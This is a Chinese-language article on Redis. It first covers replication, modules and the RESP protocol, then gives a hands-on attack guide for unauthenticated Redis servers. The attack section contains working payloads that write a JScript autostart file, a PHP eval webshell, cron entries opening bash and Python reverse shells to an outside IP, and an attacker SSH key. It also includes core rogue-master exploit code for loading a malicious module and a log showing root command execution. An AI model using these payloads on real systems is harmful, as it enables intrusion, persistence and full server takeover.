用于初次复制或其它无法进行部分复制的情况，将主节点中的所有数据都发送给从节点，是一个非常重型的操作，当数据量较大时，会对主从节点和网络造成很大的开销
* slave和msater的握手机制
上图为slave在syncWithMaster阶段做的事情，主要是和master进行握手，握手成功之后最后确定复制方案，中间涉及到迁移的状态集合如下：
#define REPL_STATE_CONNECTING 2 /* 等待和master连接 */
/* --- 握手状态开始 --- */
#define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */
#define REPL_STATE_SEND_AUTH 4 /* 发送认证消息 */
#define REPL_STATE_RECEIVE_AUTH 5 /* 等待认证回复 */
#define REPL_STATE_SEND_PORT 6 /* 发送REPLCONF信息，主要是当前实例监听端口 */
#define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_CAPA 8 /* 发送REPLCONF capa */
#define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_PSYNC 10 /* 发送PSYNC */
#define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */
/* --- 握手状态结束 --- */
#define REPL_STATE_TRANSFER 12 /* 正在从master接收RDB文件 */
当slave向master发送PSYNC命令之后，一般会得到三种回复，他们分别是：
- +FULLRESYNC：不好意思，需要全量复制哦。
- +CONTINUE：嘿嘿，可以进行增量同步。
- -ERR：不好意思，目前master还不支持PSYNC。
当slave和master确定好复制方案之后，slave注册一个读取RDB文件的I/O事件处理器，事件处理器为readSyncBulkPayload，然后将状态设置为REPL_STATE_TRANSFER，这基本就是syncWithMaster的实现。
* 处理PSYNC-全量复制
全量复制过程：
# slave和master握手连接之后
1、Redis内部会发出一个同步命令，刚开始是Psync命令，Psync ? -1表示要求master主机同步数据
2、主机会向从机发送run_id和offset，因为slave并没有对应的offset，所以是全量复制（fullresync）
3、从机slave会保存主机master的基本信息
4、主节点收到全量复制的命令后，执行bgsave（异步执行），在后台生成RDB文件（快照），并使用一个缓冲区（称为复制缓冲区）记录从现在开始执行的所有写命令
5、主机发送RDB文件给从机
6、发送缓冲区数据
7、刷新旧的数据。从节点在载入主节点的数据之前要先将老数据清除
8、加载RDB文件将数据库状态更新至主节点执行bgsave时的数据库状态和缓冲区数据的加载。
全量复制开销：
主节点需要bgsave
RDB文件网络传输占用网络io
从节点要清空数据
从节点加载RDB
全量复制会触发从节点AOF重写
**主从复制-部分复制**
部分复制是Redis
2.8以后出现的，用于处理在主从复制中因网络闪断等原因造成的数据丢失场景，当从节点再次连上主节点后，如果条件允许，主节点会补发丢失数据给从节点。因为补发的数据远远小于全量数据，可以有效避免全量复制的过高开销，需要注意的是，如果网络中断时间过长，造成主节点没有能够完整地保存中断期间执行的写命令，则无法进行部分复制，仍使用全量复制
部分复制过程：
1、如果网络抖动（连接断开 connection lost）
2、主机master 还是会写 repl_back_buffer（复制缓冲区）
3、从机slave 会继续尝试连接主机
4、从机slave 会把自己当前 run_id 和偏移量传输给主机 master，并且执行 pysnc 命令同步
5、如果master发现你的偏移量是在缓冲区的范围内，就会返回 continue命令
6、同步了offset的部分数据，所以部分复制的基础就是偏移量 offset。
run_id:
服务器运行ID(run_id)：每个Redis节点(无论主从)，在启动时都会自动生成一个随机ID(每次启动都不一样)，由40个随机的十六进制字符组成；run_id用来唯一识别一个Redis节点。通过info server命令，可以查看节点的run_id。
**主从复制实例**
下面启动两个docker容器演示基于redis数据库的主从复制
root@rose:~# docker run --name redis-5.0-master redis:5.0
root@rose:~# docker run --name redis-5.0-slave redis:5.0
root@rose:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f4e79ff861c9 redis:5.0 "docker-entrypoint.s…" About an hour ago Up About an hour 6379/tcp redis-5.0-slave
30219689817c redis:5.0 "docker-entrypoint.s…" About an hour ago Up About an hour 6379/tcp redis-5.0-master
root@rose:~#
连接两个docker->redis
redis-5.0-master 172.17.0.2
redis-5.0-slave 172.17.0.3
root@rose:~# redis-cli -h 172.17.0.2 -p 6379
172.17.0.2:6379>
172.17.0.2:6379>
172.17.0.2:6379>
172.17.0.2:6379> info
# Server
redis_version:5.0.9
redis_git_sha1:00000000
、、、、、、
、、、、、、
172.17.0.2:6379> config get slaveof
1) "slaveof"
2) ""
172.17.0.2:6379>
root@rose:~# redis-cli -h 172.17.0.3 -p 6379
172.17.0.3:6379> info
# Server
redis_version:5.0.9
redis_git_sha1:00000000
、、、、、、
、、、、、、
172.17.0.3:6379> config get slaveof
1) "slaveof"
2) ""
172.17.0.3:6379>
默认两个容器redis服务皆为主节点，设置容器一为`redis-5.0-master 172.17.0.2`主节点，容器二`redis-5.0-slave
172.17.0.3`为从节点
172.17.0.3:6379> SLAVEOF 172.17.0.2 6379
OK
172.17.0.3:6379> config get slaveof
1) "slaveof"
2) "172.17.0.2 6379"
172.17.0.3:6379>
主从复制数据同步
root@rose:~# redis-cli -h 172.17.0.2 -p 6379
172.17.0.2:6379> set qftm MaybeAHacker!
OK
172.17.0.2:6379> get qftm
"MaybeAHacker!"
172.17.0.2:6379> exit
root@rose:~# redis-cli -h 172.17.0.3 -p 6379
172.17.0.3:6379> get qftm
"MaybeAHacker!"
172.17.0.3:6379>
从节点主机只能读数据而不能写入数据（写入数据的责任由主节点主机提供）同时设置主从复制之后从节点主机原有数据会默认被擦除：`FLUSHALL`
172.17.0.3:6379> set test 123
(error) READONLY You can't write against a read only replica.
172.17.0.3:6379>
**模块扩展**
`MODULE
LOAD`命令为redis加载外部的模块，该模块可以自定义。模块编写方法可以参考官方示例：[https://github.com/RedisLabs/RedisModulesSDK。](https://github.com/RedisLabs/RedisModulesSDK%E3%80%82)
在Reids 4.x之后，Redis新增了模块功能，暴露了必要的 API，并且有自动内存管理（大大减轻编写负担），基于 C99（C++ 或者其它语言的 C
绑定接口当然也可以），通过外部拓展，可以实现在redis中实现一个新的Redis命令。
客户端工具 redis-cli
module load /path/module.so [argv0] [argv1] # 客户端指令，加载模块
module list # 列出所有模块
module unload module # 卸载模块，模块名是函数中注册的名称，不是文件名
### 协议
在进行Redis操作讲解之前，一定要先了解一下Redis底层协议RESP。
> PS：RESP 虽然是为 Redis 设计的，但是同样也可以用于其他 C/S 的软件。
**RESP协议是什么**
[官方文档详解](https://redis.io/topics/protocol)
RESP(REdis Serialization Protocol)是基于TCP的应用层协议
，底层采用的是TCP的连接方式，通过tcp进行数据传输，然后根据解析规则解析相应信息。
Redis 的客户端和服务端之间采取了一种独立名为 RESP(REdis Serialization Protocol) 的协议，作者主要考虑了以下几个点：
容易实现
解析快
人类可读
RESP协议是在Redis 1.2中引入的，但它成为了与Redis
2.0中的Redis服务器通信的标准方式。这是所有Redis客户端都要遵循的协议，我们甚至可以基于此协议，开发实现自己的Redis客户端。
**RESP协议数据类型**
RESP 主要可以序列化以下几种类型：整数，单行回复(简单字符串)，数组，错误信息，多行字符串。
Redis 客户端向服务端发送的是一组由执行的命令组成的字符串数组，服务端根据不同的命令回复不同类型的数据，但协议的每部分都是以`"\r\n"
(CRLF)`结尾的。另外 RESP 是二进制安全的，不需要处理从一个进程到另一个进程的传输，因为它使用了前缀长度进行传输。
RESP在Redis中用作请求-响应协议的方式如下：
1、客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
2、服务器根据命令实现回复一种RESP类型。
在 RESP 中, 一些数据的类型通过它的第一个字节进行判断：
单行回复：回复的第一个字节是 "+"
错误信息：回复的第一个字节是 "-"
整形数字：回复的第一个字节是 ":"
多行字符串：回复的第一个字节是 "$"
数组：回复的第一个字节是 "*"
* **单行回复：Simple Strings**
以 “+” 开头，以 “\r\n” 结尾的字符串形式。
+OK\r\n
客户端，显示的内容为除 “+” 和 CRLF 以外的内容，例如上面的内容，则返回 “OK”.
127.0.0.1:6379> set qftm MaybeAHacker.
+OK\r\n # 服务端实际返回
--- OK # redis-cli 客户端显示
跟踪客户端与服务端通信的相应TCP数据流【数据流中所显示的结果：每个关键字符串后的`CRLF`已作用回车换行】
*3
$3
set
$4
qftm
$13
MaybeAHacker.
+OK
* **错误信息：Errors**
错误信息和单行回复很像，不过是把 “+” 替换成了 “-“。而这两者之间真正的区别是，错误信息会被客户端视为异常，并且组成错误类型的是错误消息本身。
-Error message\r\n
错误信息只在有错误发生的时候才会发送，比如数据类型错误，语法错误，或者命令不存在之类的。
127.0.0.1:6379> 11
-ERR unknown command `11`, with args beginning with: \r\n #服务端实际返回, 下同
--- (error) ERR unknown command `11`, with args beginning with: #redis-cli 客户端显示, 下同
127.0.0.1:6379> set name qftm qftm
-ERR syntax error\r\n
--- (error) ERR syntax error
跟踪客户端与服务端通信的相应TCP数据流【数据流中所显示的结果：每个关键字符串后的`CRLF`已作用回车换行】
*1
$2
11
-ERR unknown command `11`, with args beginning with:
*4
$3
set
$4
name
$4
qftm
$4
qftm
-ERR syntax error
* **整数：Integers**
这种类型只是使用以 “:” 作为前缀，以CRLF作为结尾的字符串来表示整数。
`For example ":0\r\n", or ":1000\r\n" are integer replies.`
很多命令都会返回整数回复，例如 `INCR` `LLEN` `DEL` `EXISTS`之类的命令。
127.0.0.1:6379> LLEN info
:3\r\n # 服务端实际返回, 下同
--- (integer) 3 # redis-cli 客户端显示, 下同
127.0.0.1:6379> DEL info
:1\r\n
--- (integer) 1
跟踪客户端与服务端通信的相应TCP数据流【数据流中所显示的结果：每个关键字符串后的`CRLF`已作用回车换行】
*2
$4
LLEN
$4
info
:3
*2
$3
DEL
$4
info
:1
* **多行字符串：Bulk Strings**
`Bulk Strings` 翻译过来，是指批量、多行字符串，用于表示长度最大为512MB的单个二进制安全字符串。
多行字符串按以下方式编码：
以 "$" 开头, 后跟实际要发送的字节数，随后是 CRLF，然后是实际的字符串数据，最后以 CRLF 结束。
例如：我们要发送一个 “qftm.info” 的字符串，那它实际就被编码为
“$10\r\nqftm.info\r\n”。而如果一个要发送一个空字符串，则会编码为 “$0\r\n\r\n” 。某些情况下，当要表示不存在的值时候，则以
“$-1\r\n” 返回，这被叫做Null Bulk String，客户端显示则为`(nil)`。
127.0.0.1:6379> set site qftm.info
+OK\r\n # 服务端实际返回, 下同
--- OK # redis-cli 客户端显示, 下同
127.0.0.1:6379> get site
$10\r\nqftm.info\r\n
--- "qftm.info"
127.0.0.1:6379> del site
:1\r\n
--- (integer) 1
127.0.0.1:6379> get site
$-1\r\n
--- (nil)
127.0.0.1:6379> set site ''
+OK\r\n
--- OK
127.0.0.1:6379> get site
$0\r\n\r\n
--- ""
跟踪客户端与服务端通信的相应TCP数据流【数据流中所显示的结果：每个关键字符串后的`CRLF`已作用回车换行】
*3
$3
set
$4
site
$9
qftm.info
+OK
*2
$3
get
$4
site
$9
qftm.info
*2
$3
del
$4
site
:1
*2
$3
get
$4
site
$-1
*3
$3
set
$4
site
$0
+OK
*2
$3
get
$4
site
$0
* **数组：Arrays**
数组类型可用于客户端向服务端发送命令，同样的当某些命令将元素结合返回给客户端的时候，也是使用数组类型作为回复类型的。它以 “*”
开头，后面跟着返回元素的个数，随后是 CRLF, 再然后就是数组中各元素自己的类型了。
127.0.0.1:6379> set key value
+OK\r\n # 服务端实际返回, 下同
--- OK # redis-cli 客户端显示, 下同
跟踪客户端与服务端通信的相应TCP数据流【数据流中所显示的结果：每个关键字符串后的`CRLF`已作用回车换行】
*3
$3
set
$3
key
$5
value
+OK
客户端发送的请求数据如下
*3
$3
set
$3
key
$5
value
分析客户端请求的数据
第一行*3表示这条发给Redis server的命令是数组，数组有3个元素(其实就是SET、key、value这三个字符串)；
后面的6行数据，分别是对数组三个元素的表示，每个元素用两行；
数组第一个元素：$3 SET ，$3代表Bulk Strings字符串长度为3，内容是SET。
数组第二个元素：$3 key ，$3代表Bulk Strings字符串长度为3，key。
数组第三个元素：$5 value ，$5代表Bulk Strings字符串长度为5，内容是value。
## 安全
Redis各个版本一直以来默认配置文件启动的服务都没有设置访问认证密码，即可以未授权访问redis服务。
在 `Redis 3.2` 以前的版本中，默认情况下启动的服务会绑定在 `0.0.0.0:6379`，这样将会将 Redis
服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis
的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，在 Redis
服务器上写入SSH公钥，进而可以使用对应私钥直接登录目标服务器，或者向目标服务器写入定时任务、自启动、webshell等特殊文件来获取服务器的相应权限。
但是对于`Redis
3.2`之后的版本自动绑定本地IP：`127.0.0.1`或者之前的版本自定义配置绑定本地IP：`127.0.0.1`这种情况下，外网用户是否就无法直接访问服务器利用未授权访问攻击呢，事实上这种操作默认绑定本地127.0.0.1是相对安全的，但是如果服务器存在相关SSRF或者XXE漏洞，那么就可以以服务器为跳板来未授权访问redis服务，构造相应恶意数据从而攻击redis服务拿到相应的服务器权限。
针对上述不同的利用场景也就出现了两类常见的攻击方式：公网Redis未授权(授权)攻击、内网Redis未授权(授权)攻击。
### 版本配置变迁
下面整理了redis不同版本`1.0.0-6.0.0`默认配置文件中主要的关键项变化情况【最新版6.0.0】以助于不同情况下的安全分析。
各个版本下载地址以查看相应的默认配置文件：[download versions](http://download.redis.io/releases/)
################################## NETWORK #####################################
1.0.0 - < 3.2.0
# 服务主机（注释 #：默认未绑定，默认则是绑定：0.0.0.0任意接口IP）
# bind 127.0.0.1
3.2.0 - 6.0.0
# 默认绑定127.0.0.1
bind 127.0.0.1
# 新增：从3.2开始，redis增加了protected-mode, 即使注释掉bind那一行，远程连接redis仍然会报错。
# 保护模式是一层安全保护，以避免访问和利用Internet上打开的Redis实例(避免公网未授权访问)。
# 它会在这两种任一情况下存在的时候，对外部主机访问起作用：未指定bind、未指定密码
# 如果想外部主机可访问、但又想不设置密码，就需要将安全模式关闭
protected-mode yes
1.0.0 - 6.0.0
# 服务端口
port 6379
1.0.0 - < 2.6.0
＃客户端闲置N秒后关闭连接（0禁用）
timeout 300
2.6.0 - 6.0.0
timeout 0
################################ SNAPSHOTTING ################################
1.0.0 - 6.0.0
＃转储数据库的文件名
dbfilename dump.rdb
＃工作目录
dir ./
################################# REPLICATION #################################
# 主从复制（注释 #：默认模式是主主机）
1.0.0 - < 5.0.0
# slaveof <masterip> <masterport>
5.0.0 - 6.0.0（Redis开发者应用户需求更改slaveof，为slaveof提供别名replicaof）
# replicaof <masterip> <masterport>
################################## SECURITY ###################################
1.0.0 - 6.0.0
# 服务访问密码（注释 #：默认空密码【若要配置授权访问，去除注释，requirepass后设置密码】）
# requirepass foobared
################################### CLIENTS ####################################
1.0.0 - 6.0.0
# 设置同时连接的最大客户端数，一旦达到限制，Redis将关闭所有新发送的连接
# maxclients 10000
### 公网Redis未授权+常规攻击
通过上述版本变迁的概述可知，redis3.2之后默认绑定了本地IP地址并开启了保护模式也就导致了默认的redis无法远程接入，但是也有很多redis配置错误将其暴露在公网上，如：关闭保护模式、绑定远程IP、空密码等危险配置。
常见的redis攻击方式主要是写入恶意程序文件，redis数据库备份（类似快照备份）里面有其自己的格式存储信息（版本、key、value等信息），虽然数据库文件中有很多脏数据，但是像webshell、ssh
key、crontab等文件都有一定的容错性，也就导致了可以写入这些文件来进行恶意利用达到一定的攻击目的。
**写入开机自启动**
在 Windows 系统中有一些特殊的目录，在这些目录下的文件在开机的时候都会被运行，即：自启动程序。
* 恶意脚本
<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>
* 自启动程序
把上述恶意JS执行 calc 命令的代码程序写到了如下类似自启动目录中
# win10系统管理员自启动目录
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
# win7、win10等系统普通用户下自启动目录
# user:Administrator
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# user:Qftm
C:\Users\Qftm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# user:root
C:\Users\root\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
当系统启动时进入特定用户就会随之运行自启动程序，从而执行攻击者的恶意代码。
这里需要注意不同的自启动目录所属权限，普通用户没有权限向`Administrators`自启动目录写入程序，一般都是相应用户写入相应的自启动目录下。
* redis未授权写入自启动文件
公网未授权直接远程连接执行数据库操作命令，写入恶意自启动程序
flushall
set x '<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>'
config set dir 'C:\Users\root\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
config set dbfilename exp.hta
save
**写入Webshell**
环境：当目标机器存在Web应用服务器。
这种方法，只要知道 web 绝对路径并且有相应的权限就可以写 webshell 拿到服务器权限。
Redis可以通过`config`和`set`命令向固定路径的文件写入内容，这个功能被利用来向指定文件写入恶意内容，特别是当Redis以`root`或`www-data`权限运行的情况下。
* 组合payload写入Webshell
flushall
set x '<?php eval($_GET["Q"]);?>'
config set dir /var/www/html/upload
config set dbfilename test.php
save
* 攻击效果
PS：这里注意`flushall`危险操作，会清空所有缓存数据。
真实环境中肯定不能这样做直接清空数据库缓存数据，为了避免这种情况最好的手段是切换数据库，默认情况下redis有16个数据库默认连接选择的是第一个数据库，这个时候可以选择切换数据库避免`flushall`危险操作，同时对于`keys
*`操作也尽量避免，当缓存数据很大的时候很容易造成环境崩溃。
* 指令替换思想
flushall---》切换数据库
keys *---》dbsize
* 效果
192.33.6.129:6379> config get databases
1) "databases"
2) "16"
192.33.6.129:6379> select 10
OK
192.33.6.129:6379[10]> set Q testing
OK
192.33.6.129:6379[10]> del Q
(integer) 1
192.33.6.129:6379[10]> DBSIZE
(integer) 0
192.33.6.129:6379[10]> SELECT 0
OK
192.33.6.129:6379>
**写入定时任务反弹Shell**
环境：当目标机器不存在Web应用服务器，也就是Redis与Web服务器分离。
这种利用方法有点鸡肋，通常只能在`CentOS`下利用成功，`Ubuntu`却不可以。因为默认Redis写文件后，默认数据库备份文件是644的权限
root@rose:~# ls /var/lib/redis/dump.rdb -al
-rw-r--r-- 1 redis redis 92 Aug 6 10:00 /var/lib/redis/dump.rdb
root@rose:~#
但是ubuntu要求执行定时任务文件权限必须是600，同时，其对定时文件里面的数据格式要求很严格，不然就不会正常执行定时任务。
然而`CentOS`的定时任务执行文件在目录`/var/spool/cron/`下权限为644则可以成功执行定时任务，即使数据格式不严谨。【经测试：对于目录文件`/etc/crontab`不会生效】
* 组合payload反弹shell
# bash反弹
config set dir /var/spool/cron/
config set dbfilename root
set x '\n\n*/1 * * * * bash -i >& /dev/tcp/192.33.6.129/9999 0>&1\n\n'
save
config set dir /var/spool/cron/
config set dbfilename root
set x '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.33.6.129/9999 0>&1\n\n'
save
# python反弹
config set dir /var/spool/cron/
config set dbfilename root
set x "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.33.6.129\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
save
* 定时任务执行情况
crontab -l
tail -f /var/log/cron
* 攻击效果：监听
root@rose:~# nc -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from 192.33.6.144 40952 received!
PS：写入定时任务这种情况最好放到最后的方法中（对环境有一定的要求！）
**写入SSH公钥免密登录**
环境：当目标机器不存在Web应用服务器，也就是Redis与Web服务器分离。
对于Linux系统来说，使用ssh的用户目录下都会有一个隐藏文件夹`~/.ssh/`，只要我们可以将自己的公钥写在对方的`.ssh/authorized_keys`文件里，那么就可以直接ssh免密登录目标机器。
如果真实环境中Redis是以root权限运行的，并且`/root/.ssh/`目录存在，那么则可以尝试写入`/root/.ssh/authorized_keys`文件来获取目标机器所属权限。
具体操作如下及步骤：
* 生成恶意公钥
root@rose:~# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:DnZea6Npe0X0T6/kxM8T/nkGy0B6SyKSwv0aKNqDbN0 root@rose
The key's randomart image is:
+---[RSA 2048]----+
| |
| . |
| . . |
| o . .|
| . .o.S .+ . o.|
| oo+=..o.= =.o|
|..o o..oo.+= B.*.|
|.=.o E .o+... =o*|
|o .. .o+o o=|
+----[SHA256]-----+
root@rose:~#
root@rose:~#
root@rose:~# ls -al /root/.ssh/
total 16
drwx------ 2 root root 4096 Aug 9 15:23 .
drwx------ 8 root root 4096 Aug 9 13:31 ..
-rw------- 1 root root 0 Feb 25 01:35 authorized_keys
-rw------- 1 root root 1675 Aug 9 15:23 id_rsa
-rw-r--r-- 1 root root 391 Aug 9 15:23 id_rsa.pub
root@rose:~# cd /root/.ssh/
root@rose:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose
root@rose:~/.ssh#
* 写入恶意SSH公钥
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose\n\n"
save
* 查看受害机写入情况
[root@localhost .ssh]# cat authorized_keys
REDIS0006▒xA▒
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose
▒▒9q▒Y▒Y[root@localhost .ssh]#
* 攻击效果：私钥登录
root@rose:~# ssh [email protected]
Last login: Sun Aug 9 23:58:12 2020 from 192.33.6.129
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@localhost ~]# uname -a
Linux localhost.localdomain 3.10.0-957.el7.x86_64 #1 SMP Thu Nov 8 23:39:32 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[root@localhost ~]# exit
logout
Connection to 192.33.6.144 closed.
root@rose:~#
### 公网Redis未授权+主从复制RCE
以往我们想给 Redis 加个功能或类似事务的东西只能用 Lua 脚本，这个东西没有实现真正的原子性，另外也无法使用底层的 API。
在Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。
Redis模块是动态库，可以在启动时或使用`MODULE
LOAD`命令加载到Redis中，那么就可以考虑是否可以向redis服务主机注入恶意so文件并加载执行恶意命令。
有关主从复制RCE：最早由LCBC战队队员Pavel Toporkov在zeronights 2018上介绍的redis 4.x RCE攻击
[15-redis-post-exploitation](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf)。
* 漏洞原理
通过模拟恶意主机作为主节点，在目标机上设置主从复制，然后模拟`FULLRESYNC`执行全量复制操作，将恶意主机上的恶意so文件同步到目标主机并加载以执行系统恶意命令。
* 漏洞利用工具
已公开的比较好用的利用工具：
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/LoRexxar/redis-rogue-server
[@LoRexxar](https://github.com/LoRexxar "@LoRexxar")师傅项目中核心利用代码：
def handle(self, data):
resp = ""
phase = 0
if "PING" in data:
resp = "+PONG" + CLRF
phase = 1
elif "REPLCONF" in data:
resp = "+OK" + CLRF
phase = 2
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase
def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 3:
break
def runserver(rhost, rport, lhost, lport):
# expolit
remote = Remote(rhost, rport)
remote.do(f"SLAVEOF {lhost} {lport}")
remote.do("CONFIG SET dbfilename exp.so")
sleep(2)
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(2)
remote.do("MODULE LOAD ./exp.so")
remote.do("SLAVEOF NO ONE")
# Operations here
interact(remote)
# clean up
remote.do("CONFIG SET dbfilename dump.rdb")
remote.shell_cmd("rm ./exp.so")
remote.do("MODULE UNLOAD system")
* 漏洞复现
漏洞影响版本
4.x-5.x
目标主机信息
Version：4.0.9
IP：192.33.6.129
Port：6379
OS：Ubuntu18.6
注入恶意SO文件：[@n0b0dyCN](https://github.com/n0b0dyCN "@n0b0dyCN")师傅已编译好的so文件
λ Qftm >>>: python3 redis-rogue-server.py --rhost 192.33.6.129 --rport 6379 --lhost 192.168.8.185 --lport 8888
TARGET 192.33.6.129:6379
SERVER 192.168.8.185:8888
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$13\r\n192.168.8.185\r\n$4\r\n8888\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'PING\r\n'
[<-] b'+PONG\r\n'
[->] b'REPLCONF listening-port 6379\r\n'
[<-] b'+OK\r\n'
[->] b'REPLCONF capa eof capa psync2\r\n'
[<-] b'+OK\r\n'
[->] b'PSYNC 00f576097336784081eea872806f343b9852dbd8 1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$44320\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\xa6\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'
[<<]
脚本内RCE
[<<] whoami
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n'
[->] b'$5\r\nroot\n\r\n'
[>>] root
[<<] id
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$2\r\nid\r\n'
[->] b'$39\r\nuid=0(root) gid=0(root) groups=0(root)\n\r\n'
[>>] uid=0(root) gid=0(root) groups=0(root)
[<<]
redis连接目标主机：执行恶意命令（效果同上）
192.33.6.129:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
192.33.6.129:6379>
清除后门文件：exit
[<<] exit
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
[->] b'+OK\r\n'
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$11\r\nrm ./exp.so\r\n'
[->] b'$0\r\n\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'
[->] b'+OK\r\n'
* 主从复制RCE优势
对于现在服务器(云服务器)的发展部署，容器化部署成为热潮，单一的容器对应单一的服务，也就导致redis容器服务中很难包括除redis服务以外的任何服务【不限于SSH服务、WWW服务等】，针对这个问题也就导致以往普遍的redis未授权利用手法变得不在适用，很难通过特定目录写入特定恶意文件来取得服务器权限。
然而，redis4.x之后新增的模块拓展功能打破了这个限制，使攻击者可以利用注入恶意so文件来达到任意命令执行直接获得服务器主机权限。
### 公网Redis未授权+反序列化攻击
redis中经常会存储各种序列化后的数据，而攻击者往往会将其中的序列化后的数据进行修改为恶意数据，当应用程序读取redis里面的数据并反序列化使用的时候就可能会达到一定的攻击效果。
